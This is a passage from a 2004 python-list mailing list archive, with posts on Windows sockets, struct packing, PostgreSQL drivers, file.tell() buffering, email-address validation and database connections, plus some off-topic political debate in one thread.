valid programs -- not necessarily ones that do anything useful -- with 
the same MD5sum would be exceedingly difficult, even with all sorts of 
padding tricks. Not to mention that people expect tars or zip files.

As I understand it, that's the definition of "second preimage resistence."

  - Jason Lai


From exarkun at divmod.com  Fri Sep  3 17:33:35 2004
From: exarkun at divmod.com (Jp Calderone)
Date: Fri, 03 Sep 2004 17:33:35 -0400
Subject: It's in Python. It just _works_!
In-Reply-To: <9418be08.0409030632.425a9936@posting.google.com>
References: <4137b3ed$0$65570$a1866201@newsreader.visi.com>	<mailman.2799.1094175262.5135.python-list@python.org>
	<9418be08.0409030632.425a9936@posting.google.com>
Message-ID: <4138E32F.9000704@divmod.com>

Elbert Lev wrote:
> Tim Peters <tim.peters at gmail.com> wrote in message news:<mailman.2799.1094175262.5135.python-list at python.org>...
> 
>>[Grant Edwards]
>>
>>>...
>>>Apparently, the file descriptor you get from a socket object
>>>under Win32 can't be used with os.read() and os.write()?  I
>>>couldn't find anywhere in the docs that said so, but I sure
>>>couldn't get it to work.  At least not under WinMe.
>>
>>Socket handles and file descriptors are disjoint concepts in Windows
>>(any flavor), and aren't interchangeable in any context.
> 
> 
> Not exactly. In WIN32 API WriteFile() one can use SOCKET and file
> handle returned by CreateFile(). os.read() uses handles returned by
> open(), which on WIN32 are not the same as returned by CreateFile.

   Note he said "socket handles" and "file descriptors" while you are 
talking about "socket handles" and "file handles".  On Windows, file 
descriptors exist, but they are just a compatibility layer over some 
kind of handle.  This compatibility layer is generally fairly limited, 
and only allows file descriptors to be used in certain contexts.

   If you use the real handles and the real win32 APIs (which you can do 
with the pywin32 extension), things are indeed much more consistent.

   Jp


From rpw3 at rpw3.org  Wed Sep  8 06:09:24 2004
From: rpw3 at rpw3.org (Rob Warnock)
Date: Wed, 08 Sep 2004 05:09:24 -0500
Subject: Xah Lee's Unixism
References: <7fe97cc4.0408251356.34f2102a@posting.google.com><20040904.0140.57670snz@dsl.co.uk>
	<769.746T1245T5844062@kltpzyxm.invalid>
	<opsdy5xuappqzri1@mjolner.upc.no>
Message-ID: <p9qdnTnxTYDJR6PcRVn-pw@speakeasy.net>

John Thingstad <john.thingstad at chello.no> wrote:
+---------------
| As you may know XP is not particularly good as a server.
...
| I would go for some Unix implementation (perhaps free-BSD)
| As a workstation XP seems OK.
| I hear a lot of complaints about XP's stability.
| Since I have not administered a XP network, yet, I cant comment on that.
| But in my personal experience it is a stable system.
| I frequently let my computer run 24 hrs. a day for more than a month  
| without a need to reboot. So for me it is adequate.
+---------------

*Only* a month?!?  Here's the uptime for one of my FreeBSD boxes
[an old, slow '486]:

    %  uptime
     2:44AM  up 630 days, 21:14, 1 user, load averages: 0.06, 0.02, 0.00
    % 

That's over *20* months!!


-Rob

p.s. I remember the time back in the early 70's (at Emory Univ.) when
we called DEC Field Service to complain that our PDP-10 had an uptime
of over a year. Why were we complaining? Well, that meant that DEC Field
Service had failed to perform scheduled preventive maintenance (which
usually involved at least one power cycle)...  ;-}

-----
Rob Warnock			<rpw3 at rpw3.org>
627 26th Avenue			<URL:http://rpw3.org/>
San Mateo, CA 94403		(650)572-2607



From jeff at ccvcorp.com  Tue Sep 14 16:39:17 2004
From: jeff at ccvcorp.com (Jeff Shannon)
Date: Tue, 14 Sep 2004 13:39:17 -0700
Subject: Strange "feature" involving double slashes in Win98
In-Reply-To: <mailman.3327.1095192228.5135.python-list@python.org>
References: <mailman.3327.1095192228.5135.python-list@python.org>
Message-ID: <10kelk5jds6hk1f@corp.supernews.com>

Carlos Ribeiro wrote:

>a) cd c:\\windows  --> fails with an "invalid folder" message
>b) cd c:\\[my_workstation_name]  --> abort, retry or ignore
>  
>

Additionally, as an extra data point, both of these failed with "The 
system cannot find the path specified" on my Win2K machine, so it's not 
just a Win9x issue.  (I'm not sure if the fact that they're different 
errors on your machine but the same error on my machine is significant, 
but in either case it's still nonfunctional.)

Jeff Shannon
Technician/Programmer
Credit International







From cpl.19.ghum at spamgourmet.com  Fri Sep 10 02:28:01 2004
From: cpl.19.ghum at spamgourmet.com (Harald Massa)
Date: Fri, 10 Sep 2004 06:28:01 +0000 (UTC)
Subject: Postgresql - Preferred Python Library
References: <4140e595$0$22790$5a62ac22@per-qv1-newsreader-01.iinet.net.au>
Message-ID: <Xns956056239FAF1cpl19ghumspamgourmet@195.20.224.116>

> I have noticed that there are a numbe rof client libraries for
> connecting to Postgres.
> Can anyone tell me what is the recommended Python library for database
> connections

I recommend pyPgSQL - http://pypgsql.sourceforge.net/

it gives you high level (DBAPI2) and if you wish also low level access 
(libpq)

Twisted seems to use it, to.


Be happy! There are only around 3 PostgreSQL connectors. There is still the 
rumour that Python "autopromotion from int to long" was introduced because 
a *bot wanted to write a skript to count Python Webframeworks. In the old 
times everybody started his own webframework, nowaday everybody starts her 
own Python like language. 

Harald


From albalmer at att.net  Fri Sep 10 11:18:17 2004
From: albalmer at att.net (Alan Balmer)
Date: Fri, 10 Sep 2004 08:18:17 -0700
Subject: Xah Lee's Unixism
References: <uzn47qezk.fsf@mail.comcast.net>
	<rbnhj01438rv46f2op40gsdkcvfh7u6sgo@4ax.com>
	<4139561C.F52D4E4@yahoo.com>
	<10srj09tdkvim71i677g7eh7b2nk1qkmfm@4ax.com>
	<413f03cc$0$6914$61fed72c@news.rcn.com>
	<413F43AC.9D2088AF@yahoo.com> <chntno$ku1$1@grandcanyon.binc.net>
	<10juvnrt88k4868@corp.supernews.com>
	<414069c6$0$6912$61fed72c@news.rcn.com>
	<opsd2vlvy7pqzri1@mjolner.upc.no>
	<2ql1k0t2cgjbmgp34ir47sv5u9ifv5tmem@4ax.com>
	<opsd202cospqzri1@mjolner.upc.no>
Message-ID: <27h3k05dkv0d0nbuovei28erf1c657r899@4ax.com>

On Fri, 10 Sep 2004 01:04:50 +0200, "John Thingstad"
<john.thingstad at chello.no> wrote:

>On Thu, 09 Sep 2004 15:36:29 -0700, Alan Balmer <albalmer at att.net> wrote:
>
>>
>> BTW, did you mean "extortion"? Distortion is what we see a lot of
>> here, though Hoover may have done some of that too.
>>
>
>I guess what I see are endless possibilities of abuse.
>No government can be trusted with that type of power.

Of course not. That's why we have separation of powers, checks and
balances, a multi-party system, and elections.

>I feel it is our responsibility as programmers to prevent this type
>of abuse of information. I'd rather take my chances with the terrorists.
>When you sell out freedom, liberty and justice then what exactly are we  
>fighting to protect?
>Bader-Meihof groups philosophy was that in order to protect the public  
> from terror
>the government would turn the country into a police state. Then the people  
>would rebel and
>support the revolution. From this point of view Bush is letting the  
>terrorist's win by
>sacrificing our constitutional rights.
>
>Anyhow this is probably not the place to discuss this...

Probably not - there are too many intelligent, informed people here
who might poke holes in it.

-- 
Al Balmer
Balmer Consulting
removebalmerconsultingthis at att.net


From peter at engcorp.com  Tue Sep 14 16:34:09 2004
From: peter at engcorp.com (Peter Hansen)
Date: Tue, 14 Sep 2004 16:34:09 -0400
Subject: newbie sending hex values over UDP socket
In-Reply-To: <e2491a75.0409141127.6bb5cf0a@posting.google.com>
References: <e2491a75.0409091744.53fab172@posting.google.com>
	<chr22o$7ra$1@news.service.uci.edu>
	<e2491a75.0409141127.6bb5cf0a@posting.google.com>
Message-ID: <qOGdnf1RP5VfyNrcRVn-oA@powergate.ca>

Bill Seitz wrote:

> OK, so I'm clear on sending a string.
> 
> If I want to send a numeric value, do I use something like
>   struct.pack('b',int)
> ?

I'd suggest playing a bit at the interactive prompt, watching
the results of everything you do.  For example, trying the
above with a few values would tell you exactly what it does,
provided you understand that you always see the *repr* value
for what is output there, rather than the item itself.  That
is, when your expression results in a string (as the above
does), you see the output of repr(s) instead of s itself,
and thus non-printing characters are escaped and the output
is surrounded by quotation marks:

 >>> import struct
 >>> struct.pack('b', 5)
'\x05'
 >>> struct.pack('b', 255)
Traceback (most recent call last):
   File "<stdin>", line 1, in ?
struct.error: byte format requires -128<=number<=127
 >>> struct.pack('b', -128)
'\x80'
 >>> struct.pack('b', 127)
'\x7f'
 >>> struct.pack('i', 127)
'\x7f\x00\x00\x00'
 >>> struct.pack('h', 127)
'\x7f\x00'
 >>> struct.pack('>h', 127)
'\x00\x7f'
 >>> struct.pack('<h', 127)
'\x7f\x00'

And things like that...  I think you'll be able to answer
most or all such questions yourself after that.

-Peter


From alban at magproductions.nl  Mon Sep 27 07:40:31 2004
From: alban at magproductions.nl (Alban Hertroys)
Date: Mon, 27 Sep 2004 13:40:31 +0200
Subject: Psycopg; How to detect row locking?
Message-ID: <cj8u7f$6hh$1@netlx020.civ.utwente.nl>

Good day,

I have a number of threads doing inserts in a table, after which I want 
to do a select. This means that it will occur that the row that I want 
to select is locked (by the DB). In these cases, I believe I receive an 
OperationalError (or is it an InterfaceError?).

Is it possible (and if so - how?) to verify that the exception occured 
because of row locking, so that I can wait and try again?

Or are there better ways to achieve this? I'm not too charmed about 
polling loops that may never end.

I'm using python 2.3 with psycopg 1.1.13 and PostgreSQL 7.4.2.

Regards, Alban Hertroys.


From anhtt at hotmail.com  Thu Sep  9 03:44:25 2004
From: anhtt at hotmail.com (Tran Tuan Anh)
Date: 9 Sep 2004 00:44:25 -0700
Subject: Using Python to generate code?
References: <ed89f8f2.0409072251.2152c22b@posting.google.com>	<slrncju9df.8jt.hat@se-126.se.wtb.tue.nl>	<1gjt2sn.1mxhb1n12y29cuN%aleaxit@yahoo.com>
	<"mailm	an.3041.1094661030.5135.python-list"@python.org>	<1gjt4u3.qme0dh1ucx3ybN%aleaxit@yahoo.com>
	<mailman.3043.1094661696.5135.python-list@python.org>
Message-ID: <ed89f8f2.0409082344.60f5c8c4@posting.google.com>

Many thanks for your comments and advice!

Another concern is that how I can interface Python with Cup/Lex.
Writing parser is a no-joke and tedious to me, hence I would like to
re-use
the existing Cup/Lex scanner and parser. 
Could anyone confirm that it is possible to do so? (I mean naturally
:)

In general, the program I am dealing with needs to manipulate strings
quite a lot. Eventhough we can certainly do with C++, it does not
appeal naturally to me.


From FBatista at uniFON.com.ar  Tue Sep 21 13:17:45 2004
From: FBatista at uniFON.com.ar (Batista, Facundo)
Date: Tue, 21 Sep 2004 14:17:45 -0300
Subject: Python 3.0, rich comparisons and sorting order
Message-ID: <A128D751272CD411BC9200508BC2194D053C799F@escpl.tcp.com.ar>

[Carlos Ribeiro]

#- For example: today's lists may contain objects of arbitrary types and
#- can be sorted; even if the actual ordering may seem arbitrary, it
#- works for most purposes. My question is: If Python 3.0 abolishes
#- comparison between arbitrary types, how will generic sorting be
#- handled?
#- 
#- My guess is that it will not be possible unless you provide a generic
#- __cmp__ comparison function (that was the pre-2.1 method, I think).
#- The underlying assumption is that heterogeneous lists are 
#- not supposed
#- to be sorted, unless the programmer really knows what he's doing.
#- (BTW, for all purposes the same can be said about the use of the new
#- key argument provided by 2.4).

My guess is that if you have heterogeneous list, and want to sort them,
you'll need to pass a function to ``sort()``, which will care about data
types and do the right thing.

.	Facundo

-------------- next part --------------
An HTML attachment was scrubbed...
URL: <http://mail.python.org/pipermail/python-list/attachments/20040921/af3dcdcd/attachment.html>

From RobMEmmons at cs.com  Sun Sep  5 11:14:59 2004
From: RobMEmmons at cs.com (Robert M. Emmons)
Date: Sun, 05 Sep 2004 10:14:59 -0500
Subject: Linux application deployment
In-Reply-To: <cheog1$ns4$1@atlantis.news.tpi.pl>
References: <cheog1$ns4$1@atlantis.news.tpi.pl>
Message-ID: <413B2D73.3010106@cs.com>

> What you consider a "best way to deploy linux python app"? I don't want
> to install library modules into user's site-packages, so distutils is no
> help. 
Yes, I agree.  I've noticed that.  It seems to me that the only 
appropriate thing to install in site-packages are libraries to be used 
to basically extend pythong -- not applications.

 > Currently, I change sys.path (adding directory where library
> modules are stored) and I ask users to install application into /opt
> hierarchy, but I don't think it's optimal.

My opinion.  You can install it where you want.  Typically either /opt 
or /usr/local depending if you want to do a merged or separate install. 
  I would layout the package according the the GNU Standard Directory 
structure, and consistent with the Linux Standard Base (or HFS).  That I 
think would mean that you'd put the modules into 
${exec_prefix}/lib/mypackage-xx.yy.zz and then symlink any launch code 
to the appropriate bin/ directory.

I would then reset sys.path to be the right thing in the startup module 
- essentially the launcher.  There are couple of way to do this -- the 
installer can modify the python or sh launch code to hard wire the 
install location or you can do like Gnome does -- have a script that is 
in the path named mypackage-config where you can lookup the setup.

One thing I've always wonders was -- Is there a way for a python module 
to tell where it's file is located???  If you could do this it might 
also be possible to have a python script reset sys.path based on it's 
own location.

Rob


From jmlai at uci.edu  Thu Sep  2 22:23:13 2004
From: jmlai at uci.edu (Jason Lai)
Date: Thu, 02 Sep 2004 19:23:13 -0700
Subject: Tuple question
In-Reply-To: <87acw86she.fsf@uwo.ca>
References: <41374a65$0$22750$db0fefd9@news.zen.co.uk>	<0qKdnZXAHfyPyKrcRVn-sg@powergate.ca>	<mailman.2783.1094152072.5135.python-list@python.org>	<M53NBls/KL8E089yn@the-wire.com>
	<87acw86she.fsf@uwo.ca>
Message-ID: <ch8kik$icj$1@news.service.uci.edu>

Dan Christensen wrote:
> I'm not sure I buy the arguments against an index operation for
> tuples.  For example, suppose we were conducting a vote about
> something, hmm, let's say decorator syntax.  <wink>  And suppose that
> each person is allowed three distinct votes, ranked in order, with the
> first vote getting 3 points, the second 2, and the third 1.  We might
> store the votes in a database, whose rows would naturally be tuples
> like
> 
>   ('J2', 'C64', 'X11')
> 
> Now suppose we want to calculate the total number of points for
> proposal X, but don't need to compute the totals for the other
> choices.  Code like the following would be a pretty natural
> approach:
> 
>     for row in rows:
>         try:
>             points += 3-row.index(X)
>         except:
>             pass
> 
> I realize that there are different ways to code it, but most
> are simply reimplementations of the proposed index function.
> 
> Dan

Well,

for index, row in enumerate(rows):
     points += 3 - i

It's not really reimplementing the index function. You already have the 
index. I think for most of the cases where people use tuples, you 
already know what you're using each index for.

  - Jason


From john at grulic.org.ar  Tue Sep 14 09:03:51 2004
From: john at grulic.org.ar (John Lenton)
Date: Tue, 14 Sep 2004 10:03:51 -0300
Subject: Greenlets: where are they now???
In-Reply-To: <BqqdnY4Yhf-d_9vcRVn-sw@lmi.net>
References: <foadnUs_VtNpFdncRVn-jQ@lmi.net>
	<x6SdnVJ8pp4xC9ncRVn-rQ@powergate.ca>
	<ZaCdnQBXf-iU2djcRVn-hA@lmi.net>
	<29Cdnar3ZOqUFtjcRVn-pg@powergate.ca>
	<BqqdnY4Yhf-d_9vcRVn-sw@lmi.net>
Message-ID: <20040914130351.GA10332@grulic.org.ar>

On Mon, Sep 13, 2004 at 08:12:07PM -0700, David Pokorny wrote:
> 
> "Peter Hansen" <peter at engcorp.com> wrote in message
> news:29Cdnar3ZOqUFtjcRVn-pg at powergate.ca...
> > > Greenlets are about 90% of a solution (which I've thought hard about) to
> the
> > > problem of interrupting an execution after 50 byte-code, while retaining
> the
> > > ability to resume the execution (for, say, another 50 byte codes).
> >
> > Python's regular threads already allow this, so there must be
> > something more to it.
> 
> I haven't the faintest idea how to gain fine control over threads. In
> particular, suppose I have 10 of these "executions" going (lets call them
> "steplets") and I want to run each of them for 50 byte-codes, then switch
> back to the controlling thread and do lots of bookkeeping (I don't control
> the code that the steplets run). I also have a bunch of other processes that
> I don't want to take part in this "cycle rationing" but rather run as honest
> threads.

wouldn't calling setcheckinterval with some ridiculously large
argument on entering the loop and setting it back to 100 (or 50) on
exit be enough?

-- 
John Lenton (john at grulic.org.ar) -- Random fortune:
Q:	How many Marxists does it take to screw in a light bulb?
A:	None:  The light bulb contains the seeds of its own revolution.
-------------- next part --------------
A non-text attachment was scrubbed...
Name: signature.asc
Type: application/pgp-signature
Size: 196 bytes
Desc: Digital signature
URL: <http://mail.python.org/pipermail/python-list/attachments/20040914/c7b48b78/attachment.sig>

From rkern at ucsd.edu  Mon Sep 27 20:42:52 2004
From: rkern at ucsd.edu (Robert Kern)
Date: Mon, 27 Sep 2004 17:42:52 -0700
Subject: f2py error - windows xp (F2PY-2.43.239_1806)
In-Reply-To: <cj9poe$rme$1@online.de>
References: <cj4pgc$7dr$3@online.de> <m2zn3eq9xi.fsf@pchoel.psh>
	<cj4r5l$9nm$1@online.de> <cj4scc$b44$1@online.de>
	<m2acvc6he6.fsf@pchoel.psh> <cj9poe$rme$1@online.de>
Message-ID: <cjac2c$bak$1@news1.ucsd.edu>

M. Faust wrote:
> Thanks, Bethold for a good hint ...
> 
> I had in "Numeric/arrayobject.h"
> 
> typedef struct {
>   PyObject_HEAD
>   char *data;
>   int nd;
>   int *dimensions, *strides;
>   PyObject *base;
>   PyArray_Descr *descr;
>   int flags;
> } PyArrayObject;
> 
> After adding
> 
>    PyObject *weakreflist;
> 
> I could generate a hello.pyd. Python really is an incredibly versatile 
> and powerful tool.

Don't do that. You are looking at an old version of 
Numeric/arrayobject.h . Delete that directory and everything else 
Numeric and re-install Numeric 23.3 . Check it again. It should have the 
appropriate members, then.

-- 
Robert Kern
rkern at ucsd.edu

"In the fields of hell where the grass grows high
  Are the graves of dreams allowed to die."
   -- Richard Harter


From webbsoft2 at alltel.net  Tue Sep 21 15:58:07 2004
From: webbsoft2 at alltel.net (w)
Date: 21 Sep 2004 12:58:07 -0700
Subject: New to Python
Message-ID: <a1ff320f.0409211158.29e6256b@posting.google.com>

excuse my ignorance.  I cannot get this simple program to calculate
the formula.

The error message is unsupported operand type(s) str.  I know the data
that I'm reading from the file is a string but I cannot convert it to
a float or int.

The code a sample form the data file are below.

# Calculate Gross Profit from SIL File

import os.path

in_file = open( "s3cga1.new", "r")

while 1:
     data = in_file.readline()
     if not data:
	    break

     if data[0:1] == "(":

	nCost = data[ 99:106]
	nPack = data[ 44:48]

	nRetail = data[ 79:87]
	nQuan = data[ 87:90]
	nAllowance = data[ 147:154]

	nGp = ( ( nRetail / nQuan ) - ( ( nCost - nAllowance) / nPack ) ) / (
nRetail / nQuan )

	print nCost, nPack, nQuan, nRetail, nAllowance


EXAMPLE OF DATA FILE
(00007756725434,'*BREYER STRWBRY ICE ',0007,0006,' 56 OZ   ','000216  
      ',0004.95,001,2004260,0024.43000,0000000,00000.00,000,0000000,0000000,0004.00000,2004262,2004282),
(00007756725433,'*BREYER PEACH ICE CR',0007,0006,' 56 OZ   ','000224  
      ',0004.95,001,2004260,0024.43000,0000000,00000.00,000,0000000,0000000,0004.00000,2004262,2004282),


From vze4rx4y at verizon.net  Thu Sep 23 17:27:41 2004
From: vze4rx4y at verizon.net (Raymond Hettinger)
Date: Thu, 23 Sep 2004 21:27:41 GMT
Subject: spliting a list by nth items
References: <mailman.3802.1095960335.5135.python-list@python.org><civ1bq$4qp$1@pegasus.csx.cam.ac.uk><ee6dnSwgMZMwic7cRVn-qg@comcast.com>
	<mailman.3805.1095964620.5135.python-list@python.org>
Message-ID: <hdH4d.6963$4j1.3031@trndny06>

[Steven Bethard]
> so I could probably do
> something along these lines (inspired by your two suggestions):
>
> non_nth_items = [item for i, item in enumerate(items) if (i - start) % n]
>
> instead of my original
>
> non_nth_items = list(items)
> del non_nth_items[start::n]
>
> The enumerate/range solution is a little more verbose, but it does only go
> through the list once.  Thanks for the good suggestions!

The enumerate solution has a lot going for it.  It is more flexible and easily
accomodates criteria other than every nth item. More importantly, it
demonstrates an important guiding principle:  multiple list deletions are a code
smell indicating that building a new list is a better approach.  On this
newsgroup, I've seen people tie themselves in knots with multiple in-place
deletions during iteration when the new list approach was clearer, more robust,
and faster.

The runtime behavior of the non_nth_items[start::n] approach is implementation
dependent.  One can easily imagine a O(n**2) process running behind the scenes.
CPython is a smarter than that, but the code for  list_ass_subscript() in
listobject.c is not a pretty sight.


Raymond Hettinger




From carribeiro at gmail.com  Mon Sep 27 12:43:31 2004
From: carribeiro at gmail.com (Carlos Ribeiro)
Date: Mon, 27 Sep 2004 13:43:31 -0300
Subject: Anonymous class members
In-Reply-To: <HLEGKHKIKMEHENBAEIEPKEBFCKAA.ben@benlast.com>
References: <864d370904092707013e2254a6@mail.gmail.com>
	<HLEGKHKIKMEHENBAEIEPKEBFCKAA.ben@benlast.com>
Message-ID: <864d3709040927094354445729@mail.gmail.com>

On Mon, 27 Sep 2004 15:28:43 +0100, Ben Last <ben at benlast.com> wrote:
> I'm probably missing something here... but if you want a collection of
> anonymous attributes... why not just store them in a list?

Actually, I'm trying to convince Python to allow me to use a class
declaration for things that are normally done using data-driven code.
Instead of reading a XML description or a plain Python dict or list, I
would like to write a class declaration. The reason? added flexibility
and more readability. For now it's just an experiment, with promising
results so far.

BTW, I think that I should have waited more time before posting this
message to the list. The basic idea is good, but I still have to study
a lot of things to understand exactly what I want, what should be done
in practice, and what can be done given Python's capabilities and
style.

-- 
Carlos Ribeiro
Consultoria em Projetos
blog: http://rascunhosrotos.blogspot.com
blog: http://pythonnotes.blogspot.com
mail: carribeiro at gmail.com
mail: carribeiro at yahoo.com


From robin.siebler at palmsource.com  Mon Sep 13 20:05:02 2004
From: robin.siebler at palmsource.com (Robin Siebler)
Date: 13 Sep 2004 17:05:02 -0700
Subject: fimecmp.dircmp
Message-ID: <95c29a5e.0409131605.71978348@posting.google.com>

I thing this will do what I need, if I can figure out how to use it! 
I have a few questions (another component with sparse documentation!):


report() - Print (to sys.stdout) a comparison between a and b. 
How can I assign this to a variable?  I tried 


foo = filecmp.dircmp('d:\\basedata', 'd:\\results')
results = foo.report_partial_closure()

This didn't assign anything to results, instead it printed it out to
the screen where I can't do anything with it.


left_only 
Files and subdirectories only in a. 

right_only 
Files and subdirectories only in b. 

I tried foo.right_only, but all I got is [].  However, the report
shows 'Only in d:\results\GenXRD_Output : ['BAD_LOCALE_2']', so
foo.right_only should report something.


From nick at craig-wood.com  Fri Sep 10 04:30:02 2004
From: nick at craig-wood.com (Nick Craig-Wood)
Date: 10 Sep 2004 08:30:02 GMT
Subject: A bug with file.tell()?
References: <f8097096.0409092043.3760d72a@posting.google.com>
Message-ID: <slrnck2odg.bag.nick@irishsea.home.craig-wood.com>

Nick Jacobson <nicksjacobson at yahoo.com> wrote:
>  Is this a bug?
> 
>  This code involves the file methods "seek" and "tell".  Even though
>  the file pointer is in the middle of the file, "tell" returns a
>  position at the end of the file!

Its something to do with buffering when using the file() as an
iterator.

>  fp = file("test.txt")
>  #read in some of the file:
>  for line in fp:
>      if line == "blah3\n":
>          break
>  fpos = fp.tell() #save the current position...
> 
>  for line in fp:
>      print line #prints "asdf", so it wasn't at the end of the file
> 
>  fp.seek(fpos) #rewind?
>  for line in fp:
>      print line #prints nothing, because it's at the end of the file!
> 
> 
>  The test.txt file is:
>  blah1
>  blah2
>  blah3
>  asdf

If you re-write your loop using this equivalent code :-

#...
while 1:
    line = fp.readline()
    if line == "": # EOF
        break
    if line == "blah3\n":
        break
#...

You'll find it works fine.

IMHO this is a bug - even with buffering tell() should give where the
file returned data to the user not where its read data from the file.

-- 
Nick Craig-Wood <nick at craig-wood.com> -- http://www.craig-wood.com/nick


From me at here.there.nowhere  Sun Sep 19 23:51:51 2004
From: me at here.there.nowhere (=?UTF-8?B?0JTQsNC80ZjQsNC9INCT0LXQvtGA0LPQuNC10LLRgdC60Lg=?=)
Date: Mon, 20 Sep 2004 05:51:51 +0200
Subject: File cache for images
Message-ID: <414e53d7@news.mt.net.mk>

I'm looking for a way to cache some modified images as files (in a python
program ofcourse). The scenario would look like this:

getmodifiedimage(filename):
   is it in cache?
   is the cache up to date (not older than file)
   if not, modify filename and store in cache (keyed by filename +
modification)
   return modified image


I'm looking for prior-art before inventing it myself :)
   


-- 
??????

   If Bill Gates had a dime for every time a Windows box crashed...
                ...Oh, wait a minute, he already does.


From narshe at gmail.com  Wed Sep 22 14:04:57 2004
From: narshe at gmail.com (Josh Close)
Date: Wed, 22 Sep 2004 13:04:57 -0500
Subject: OT: regex to find email
In-Reply-To: <cir7o3$9oo$1@sea.gmane.org>
References: <mailman.3647.1095778995.5135.python-list@python.org>
	<slrncl18gl.s1l.jgrahn-nntq@frailea.sa.invalid>
	<cir7o3$9oo$1@sea.gmane.org>
Message-ID: <4a0cafe204092211045e24aee9@mail.gmail.com>

On Wed, 22 Sep 2004 08:59:08 +0200, Fredrik Lundh
<fredrik at pythonware.com> wrote:
> Jorgen Grahn wrote:
> 
> > I've seen no references to RFC 2822 in this thread ... please note that what
> > all these regexes catch is unlikely to be exactly the set of all valid RFC
> > 2822 addresses.
> 
> the perl faq is also required reading:
> 
> http://www.perldoc.com/perl5.6/pod/perlfaq9.html#How-do-I-check-a-valid-mail-address-
> 
>     Q. How do I check a valid mail address?
> 
>     A. You can't, at least, not in real time. Bummer, eh?
> 
>     Without sending mail to the address and seeing whether there's a human
>     on the other hand to answer you, you cannot determine whether a mail
>     address is valid.
> 
> what morally sound reasons are there to scrape mail addresses from text
> documents, btw?
> 

Well, I do know that a lot of email hosting companies like hotmail,
yahoo, etc, have certain standards for user names which are probably a
lot more strict than RFC2822. That's what I was going by, but it could
possibly miss a few names/domains with it.

-Josh


From aleaxit at yahoo.com  Sun Sep 26 05:29:15 2004
From: aleaxit at yahoo.com (Alex Martelli)
Date: Sun, 26 Sep 2004 11:29:15 +0200
Subject: Database connections
References: <mailman.3768.1095932141.5135.python-list@python.org>
Message-ID: <1gkpwof.bpxui8dx63plN%aleaxit@yahoo.com>

Egbert Bouwman <egbert.list at hccnet.nl> wrote:
   ...
> I use postgres with psycopg.
> 
> The essence of my program is to do operations on a specific database,
> so I need a connection all the time.
> The program may run for hours or even days. Why not.

Sure, quite reasonable.

> I can start a connection at the beginning of the program, and close it at
> the end. 
> Or I may do it as a class-level instruction in the class that is 
> responsible for the database operations. So it is executed only once,
> at the first import.

Either makes sense.

> But it gives an insecure feeling. Connections may break down, and intruders
> may misuse them.

If anybody can hijack an existing connection to a database, inserting
themselves in the middle of an existing conversation, your whole system
is already in such deep dodo that any attempt at amelioratio is doomed.

Sure, connections do break down -- server might be down or whatever.

> I can test if the connection still exist before I do a real transaction.
> How do I test, if not with some dummy execute ?

Nah!  Just be ready to catch the exception you'll get if the server is
down or whatever, and react to such a hopefully-transient failure like
you would to any other (try reopening once, or try periodically forever,
or whatever else is your policy for "server is down or the like").

 
> The alternative is to open and close a connection immediately before
> and after each transaction + commit. Is that a too defensive way of life ?

Yes, it is.  I don't really see benefits.  You still have to be ready to
catch and deal with exceptions for the unlikely but not impossible case
that the server goes down smack in the middle of a transaction -- until
commit succeeds everything is in the air and you must be ready to retry
or whatever.  So reuse that readiness to catch the possibility of the
connection having gone down before your transaction started rather than
crashing smack in the middle of it, it's no harder, really.


Alex


From jerf at jerf.org  Tue Sep  7 13:50:52 2004
From: jerf at jerf.org (Jeremy Bowers)
Date: Tue, 07 Sep 2004 17:50:52 GMT
Subject: Python Interpreter question.
References: <chkoc4$l08$1@newsg2.svr.pol.co.uk>
	<roy-B9BE14.12564007092004@reader1.panix.com>
Message-ID: <pan.2004.09.07.13.51.04.276146@jerf.org>

On Tue, 07 Sep 2004 12:56:40 -0400, Roy Smith wrote:
> Whether you want to call this "interpreted" or "compiled" is, I 
> suppose, a matter of personal opinion.

It is, for some suitable (but widely-agreed upon) definitions of those
words, both.

It is compiled into a form that is then interpreted.

Suitable definitions, for instance:

* Compile: To take some semantic meaning in one format (.py Python source
files) and convert it to some other format (.pyc compiled source) with
equivalent semantics. (This is a very general definition.)
* Interpret: To run a program not encoded in the native binary format of
the processor executing the program by providing it with a virtual machine
to run on that executes the program.

Java, .NET, and a lot of other things work this way now. The day is
rapidly approaching, if not already here, where rejecting "interpreted"
languages is to reject the majority of running code as "not real code".



From adurdin at gmail.com  Thu Sep 16 22:08:36 2004
From: adurdin at gmail.com (Andrew Durdin)
Date: Fri, 17 Sep 2004 12:08:36 +1000
Subject: Need script to download file at known address
In-Reply-To: <qefkk0l390rub20inkfkpn74vb5a8qhdek@4ax.com>
References: <c71fk0liesaugrtl1ginqidq87c8ej9gq2@4ax.com>
	<1gk5zhe.1s52tcf7c6ucjN%aleaxit@yahoo.com>
	<qefkk0l390rub20inkfkpn74vb5a8qhdek@4ax.com>
Message-ID: <59e9fd3a04091619084a77353@mail.gmail.com>

On Fri, 17 Sep 2004 01:46:42 GMT, Radioactive Man <rm at rm.rm> wrote:
> Here is the test script I came up with:
> 
> import urllib
> f =  urllib.urlopen("http://www.python.org/pics/pythonHi.gif")
> g = f.read()
> file = open("trash.gif", "w")
> file.write(g)
> file.close()

You're opening the output file in ascii mode, so newlines characters
are getting converted to the CR/LF combination. Change the second
parameter to open() to "wb".


From hpenner at gmail.com  Fri Sep 10 14:45:42 2004
From: hpenner at gmail.com (Harry Penner)
Date: Fri, 10 Sep 2004 13:45:42 -0500
Subject: Xah Lee's Unixism
In-Reply-To: <m1m0d.88323$S55.10260@clgrps12>
References: <413f03cc$0$6914$61fed72c@news.rcn.com>
	<413F43AC.9D2088AF@yahoo.com> <chntno$ku1$1@grandcanyon.binc.net>
	<10juvnrt88k4868@corp.supernews.com>
	<414069c6$0$6912$61fed72c@news.rcn.com>
	<opsd2vlvy7pqzri1@mjolner.upc.no>
	<1549.748T655T9283520@kltpzyxm.invalid>
	<3fh3k0tnumgcvdd89h8jbbnc2j92t97i76@4ax.com>
	<m1m0d.88323$S55.10260@clgrps12>
Message-ID: <822221bb04091011454b32ceeb@mail.gmail.com>

We're a little more concerned with making sure terrorists are all
killed or detained before they murder more innocents, than with making
sure their accommodations get a 5-star rating.  And -- although two
wrongs don't make a right -- doesn't the Geneva Convention also
prohibit targeting civilians?  The scum and villainy we're fighting
doesn't exactly come into equity with clean hands; you make it sound
Kafkaesque, as if they were randomly picked up off the street and
jailed.  These are people who would still be actively trying to kill
Americans if we let them out.  As for international agreements and
keeping to the Geneva Convention in general, let's just say it would
be a whole lot cheaper and easier not to use the precision "smart"
weapons that have spared so many Afghan and Iraqi civilian lives so
far.

But I think we're getting a *little* OT here, unless this discussion
results in some pythonic irc-bots to argue by proxy.  :)  I'd be happy
